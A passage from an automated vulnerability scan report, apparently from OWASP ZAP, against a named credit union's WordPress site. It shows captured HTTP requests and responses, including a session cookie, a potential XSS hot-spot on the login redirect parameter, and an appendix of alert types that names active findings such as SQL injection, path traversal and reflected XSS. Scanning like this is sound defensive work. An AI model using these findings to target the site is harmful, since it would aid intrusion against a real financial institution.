Response body (221 bytes)
# START YOAST BLOCK
# ---------------------------
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: https://www.clcu.ie/sitemap_index.xml
# ---------------------------
# END YOAST BLOCK
Parameter
cache-control
Evidence
public
Solution
For secure content, ensure the cache-control HTTP header is set
with "no-cache, no-store, must-revalidate". If an asset should be
cached consider setting the directives "public, max-age,
immutable".
4. USER CONTROLLABLE HTML ELEMENT ATTRIBUTE (POTENTIAL XSS) (1)
1. GET
https://www.clcu.ie/wp-login.php?reauth=1&redirect_to=https%3A%2F%2Fwww.clcu.ie%2Fwp-admin%2F
Alert tags
* OWASP_2021_A03
* OWASP_2017_A01
Alert description
This check looks at user-supplied input in query string parameters
and POST data to identify where certain HTML attribute values
might be controlled. This provides hot-spot detection for XSS
(cross-site scripting) that will require further review by a
security analyst to determine exploitability.
Other info
User-controlled HTML attribute values were found. Try injecting
special characters to see if XSS might be possible. The page at
the following URL:
https://www.clcu.ie/wp-login.php?reauth=1&redirect_to=https%3A%2F%2Fwww.clcu.ie%2Fwp-admin%2F
appears to include user input in:
a(n) [link] tag [href] attribute
The user input found was:
redirect_to=https://www.clcu.ie/wp-admin/
The user-controlled value was:
https://www.clcu.ie/wp-admin/css/forms.min.css
Request Request line and header section (383 bytes)
GET https://www.clcu.ie/wp-login.php?reauth=1&redirect_to=https%3A%2F%2Fwww.clcu.ie%2Fwp-admin%2F HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/wp-admin/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t
Request body (0 bytes)
Response Status line and header section (2484 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure
Set-Cookie: wordpress_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/wp-admin
Set-Cookie: wordpress_sec_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/wp-admin
Set-Cookie: wordpress_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/wp-content/plugins
Set-Cookie: wordpress_sec_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/wp-content/plugins
Set-Cookie: wordpress_logged_in_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpress_logged_in_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-0=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-0=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpress_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpress_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpress_sec_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpress_sec_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpressuser_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpresspass_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpressuser_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wordpresspass_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Set-Cookie: wp-postpass_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Upgrade: h2,h2c
Vary: Accept-Encoding
content-length: 8093
Response body (8093 bytes)
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Log In ‹ Croí Laighean Credit Union — WordPress</title>
<meta name='robots' content='noindex, follow' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery.min.js' id='jquery-core-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery-migrate.min.js' id='jquery-migrate-js'></script>
<script type='text/javascript' id='wordfence-ls-login-js-extra'>
/* <![CDATA[ */
var WFLS_LOGIN_TRANSLATIONS = {"Message to Support":"Message to Support","Send":"Send","An error was encountered while trying to send the message. Please try again.":"An error was encountered while trying to send the message. Please try again.","<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.","Wordfence 2FA Code":"Wordfence 2FA Code","Remember for 30 days":"Remember for 30 days","Log In":"Log In","<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.","The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes.":"The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes."};
var WFLSVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","nonce":"31351e57e0","recaptchasitekey":"","useCAPTCHA":"","allowremember":"","verification":null};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/js/login.1698685182.js' id='wordfence-ls-login-js'></script>
<link rel='stylesheet' id='dashicons-css' href='https://www.clcu.ie/wp-includes/css/dashicons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='buttons-css' href='https://www.clcu.ie/wp-includes/css/buttons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='forms-css' href='https://www.clcu.ie/wp-admin/css/forms.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='l10n-css' href='https://www.clcu.ie/wp-admin/css/l10n.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='login-css' href='https://www.clcu.ie/wp-admin/css/login.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='wordfence-ls-login-css' href='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/css/login.1698685182.css' type='text/css' media='all' />
<link rel="shortcut icon" href="https://www.clcu.ie/wp-content/themes/croi-laighean/images/favicon.ico" /><style type="text/css">
.login h1 a{ background-image:url(https://www.clcu.ie/wp-content/themes/croi-laighean/images/logo.svg) !important; background-color:#ffffff; background-size:79%; width:auto; background-position:center center; padding:42px;}
</style> <meta name='referrer' content='strict-origin-when-cross-origin' />
<meta name="viewport" content="width=device-width" />
</head>
<body class="login no-js login-action-login wp-core-ui locale-en-us">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js','js');
</script>
<div id="login">
<h1><a href="https://www.clcu.ie">Croí Laighean Credit Union</a></h1>
<form name="loginform" id="loginform" action="https://www.clcu.ie/wp-login.php" method="post">
<p>
<label for="user_login">Username or Email Address</label>
<input type="text" name="log" id="user_login" class="input" value="" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
<input type="password" name="pwd" id="user_pass" class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="Show password">
<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
</button>
</div>
</div>
<p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" />
<input type="hidden" name="redirect_to" value="https://www.clcu.ie/wp-admin/" />
<input type="hidden" name="testcookie" value="1" />
</p>
</form>
<p id="nav">
<a href="https://www.clcu.ie/wp-login.php?action=lostpassword">Lost your password?</a> </p>
<script type="text/javascript">
function wp_attempt_focus() {setTimeout( function() {try {d = document.getElementById( "user_login" );d.focus(); d.select();} catch( er ) {}}, 200);}
wp_attempt_focus();
if ( typeof wpOnload === 'function' ) { wpOnload() } </script>
<p id="backtoblog">
<a href="https://www.clcu.ie/">← Go to Croí Laighean Credit Union</a> </p>
<div class="privacy-policy-page-link"><a class="privacy-policy-link" href="https://www.clcu.ie/privacy-policy/" rel="privacy-policy">Privacy Notice</a></div> </div>
<script type='text/javascript' id='zxcvbn-async-js-extra'>
/* <![CDATA[ */
var _zxcvbnSettings = {"src":"https:\/\/www.clcu.ie\/wp-includes\/js\/zxcvbn.min.js"};
/* ]]> */
</script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/zxcvbn-async.min.js' id='zxcvbn-async-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js' id='wp-polyfill-inert-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/regenerator-runtime.min.js' id='regenerator-runtime-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/wp-polyfill.min.js' id='wp-polyfill-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/hooks.min.js' id='wp-hooks-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/i18n.min.js' id='wp-i18n-js'></script>
<script id="wp-i18n-js-after" type="text/javascript">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script type='text/javascript' id='password-strength-meter-js-extra'>
/* <![CDATA[ */
var pwsL10n = {"unknown":"Password strength unknown","short":"Very weak","bad":"Weak","good":"Medium","strong":"Strong","mismatch":"Mismatch"};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-admin/js/password-strength-meter.min.js' id='password-strength-meter-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/underscore.min.js' id='underscore-js'></script>
<script type='text/javascript' id='wp-util-js-extra'>
/* <![CDATA[ */
var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};
/* ]]> */
</script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/wp-util.min.js' id='wp-util-js'></script>
<script type='text/javascript' id='user-profile-js-extra'>
/* <![CDATA[ */
var userProfileL10n = {"user_id":"0","nonce":"40f9a04043"};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-admin/js/user-profile.min.js' id='user-profile-js'></script>
<div class="clear"></div>
</body>
</html>
Parameter
redirect_to
Solution
Validate all input and sanitize output it before writing to any
HTML attributes.
APPENDIX
ALERT TYPES
This section contains additional information on the types of alerts in the
report.
1. CROSS SITE SCRIPTING (REFLECTED)
Source raised by an active scanner (Cross Site Scripting (Reflected)) CWE
ID 79 WASC ID 8 Reference
1. http://projects.webappsec.org/Cross-Site-Scripting
2. https://cwe.mitre.org/data/definitions/79.html
2. PATH TRAVERSAL
Source raised by an active scanner (Path Traversal) CWE ID 22 WASC ID 33
Reference
1. http://projects.webappsec.org/Path-Traversal
2. https://cwe.mitre.org/data/definitions/22.html
3. SQL INJECTION
Source raised by an active scanner (SQL Injection) CWE ID 89 WASC ID 19
Reference
1. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
4. SQL INJECTION - ORACLE - TIME BASED
Source raised by an active scanner (SQL Injection - Oracle) CWE ID 89 WASC
ID 19 Reference
1. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
5. SQL INJECTION - SQLITE
Source raised by an active scanner (SQL Injection - SQLite) CWE ID 89 WASC
ID 19 Reference
1. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
6. SERVER SIDE TEMPLATE INJECTION (BLIND)
Source raised by an active scanner (Server Side Template Injection (Blind))
CWE ID 74 WASC ID 20 Reference
1. https://portswigger.net/blog/server-side-template-injection
7. ABSENCE OF ANTI-CSRF TOKENS
Source raised by a passive scanner (Absence of Anti-CSRF Tokens) CWE ID 352
WASC ID 9 Reference
1. http://projects.webappsec.org/Cross-Site-Request-Forgery
2. https://cwe.mitre.org/data/definitions/352.html
8. CONTENT SECURITY POLICY (CSP) HEADER NOT SET
Source raised by a passive scanner (Content Security Policy (CSP) Header
Not Set) CWE ID 693 WASC ID 15 Reference
1. https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy
2. https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
3. http://www.w3.org/TR/CSP/
4. http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
5. http://www.html5rocks.com/en/tutorials/security/content-security-policy/
6. http://caniuse.com/#feat=contentsecuritypolicy
7. http://content-security-policy.com/
9. CROSS-DOMAIN MISCONFIGURATION
Source raised by a passive scanner (Cross-Domain Misconfiguration) CWE ID
264 WASC ID 14 Reference
1. https://vulncat.fortify.com/en/detail?id=desc.config.dotnet.html5_overly_permissive_cors_policy
10. MISSING ANTI-CLICKJACKING HEADER
Source raised by a passive scanner (Anti-clickjacking Header) CWE ID 1021
WASC ID 15 Reference
1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
11. VULNERABLE JS LIBRARY
Source raised by a passive scanner (Vulnerable JS Library (Powered by
Retire.js)) CWE ID 829 Reference
1. https://github.com/jquery/jquery/issues/2432
2. http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
3. http://research.insecurelabs.org/jquery/test/
4. https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
5. https://nvd.nist.gov/vuln/detail/CVE-2019-11358
6. https://nvd.nist.gov/vuln/detail/CVE-2015-9251
7. https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
8. https://bugs.jquery.com/ticket/11974
9. https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
10. https://github.com/jquery/jquery.com/issues/162
12. COOKIE NO HTTPONLY FLAG
Source raised by a passive scanner (Cookie No HttpOnly Flag) CWE ID 1004
WASC ID 13 Reference
1. https://owasp.org/www-community/HttpOnly
13. COOKIE WITHOUT SAMESITE ATTRIBUTE
Source raised by a passive scanner (Cookie without SameSite Attribute) CWE
ID 1275 WASC ID 13 Reference
1. https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
14. CROSS-DOMAIN JAVASCRIPT SOURCE FILE INCLUSION
Source raised by a passive scanner (Cross-Domain JavaScript Source File
Inclusion) CWE ID 829 WASC ID 15
15. SERVER LEAKS INFORMATION VIA "X-POWERED-BY" HTTP RESPONSE HEADER FIELD(S)
Source raised by a passive scanner (Server Leaks Information via
"X-Powered-By" HTTP Response Header Field(s)) CWE ID 200 WASC ID 13
Reference
1. http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx
2. http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
16. SERVER LEAKS VERSION INFORMATION VIA "SERVER" HTTP RESPONSE HEADER FIELD
Source raised by a passive scanner (HTTP Server Response Header) CWE ID 200
WASC ID 13 Reference
1. http://httpd.apache.org/docs/current/mod/core.html#servertokens
2. http://msdn.microsoft.com/en-us/library/ff648552.aspx#ht_urlscan_007
3. http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx
4. http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
17. STRICT-TRANSPORT-SECURITY HEADER NOT SET
Source raised by a passive scanner (Strict-Transport-Security Header) CWE
ID 319 WASC ID 15 Reference
1. https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html
2. https://owasp.org/www-community/Security_Headers
3. http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
4. http://caniuse.com/stricttransportsecurity
5. http://tools.ietf.org/html/rfc6797
18. TIMESTAMP DISCLOSURE - UNIX
Source raised by a passive scanner (Timestamp Disclosure) CWE ID 200 WASC
ID 13 Reference
1. http://projects.webappsec.org/w/page/13246936/Information%20Leakage
19. X-CONTENT-TYPE-OPTIONS HEADER MISSING
Source raised by a passive scanner (X-Content-Type-Options Header Missing)
CWE ID 693 WASC ID 15 Reference
1. http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
2. https://owasp.org/www-community/Security_Headers
20. CHARSET MISMATCH
Source raised by a passive scanner (Charset Mismatch) CWE ID 436 WASC ID 15
Reference
1. http://code.google.com/p/browsersec/wiki/Part2#Character_set_handling_and_detection
21. CONTENT-TYPE HEADER MISSING
Source raised by a passive scanner (Content-Type Header Missing) CWE ID 345
WASC ID 12 Reference
1. http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
22. INFORMATION DISCLOSURE - SUSPICIOUS COMMENTS
Source raised by a passive scanner (Information Disclosure - Suspicious
Comments) CWE ID 200 WASC ID 13
23. MODERN WEB APPLICATION
Source raised by a passive scanner (Modern Web Application)
24. RE-EXAMINE CACHE-CONTROL DIRECTIVES
Source raised by a passive scanner (Re-examine Cache-control Directives)
CWE ID 525 WASC ID 13 Reference
1. https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#web-content-caching
2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
3. https://grayduck.mn/2021/09/13/cache-control-recommendations/
25. RETRIEVED FROM CACHE
Source raised by a passive scanner (Retrieved from Cache) Reference
1. https://tools.ietf.org/html/rfc7234
2. https://tools.ietf.org/html/rfc7231
3. http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html (obsoleted by
rfc7234)
26. SESSION MANAGEMENT RESPONSE IDENTIFIED
Source raised by a passive scanner (Session Management Response Identified)
Reference
1. https://www.zaproxy.org/docs/desktop/addons/authentication-helper/session-mgmt-id
27. USER AGENT FUZZER
Source raised by an active scanner (User Agent Fuzzer) Reference
1. https://owasp.org/wstg
28. USER CONTROLLABLE HTML ELEMENT ATTRIBUTE (POTENTIAL XSS)
Source raised by a passive scanner (User Controllable HTML Element
Attribute (Potential XSS)) CWE ID 20 WASC ID 20 Reference
1. http://websecuritytool.codeplex.com/wikipage?title=Checks#user-controlled-html-attribute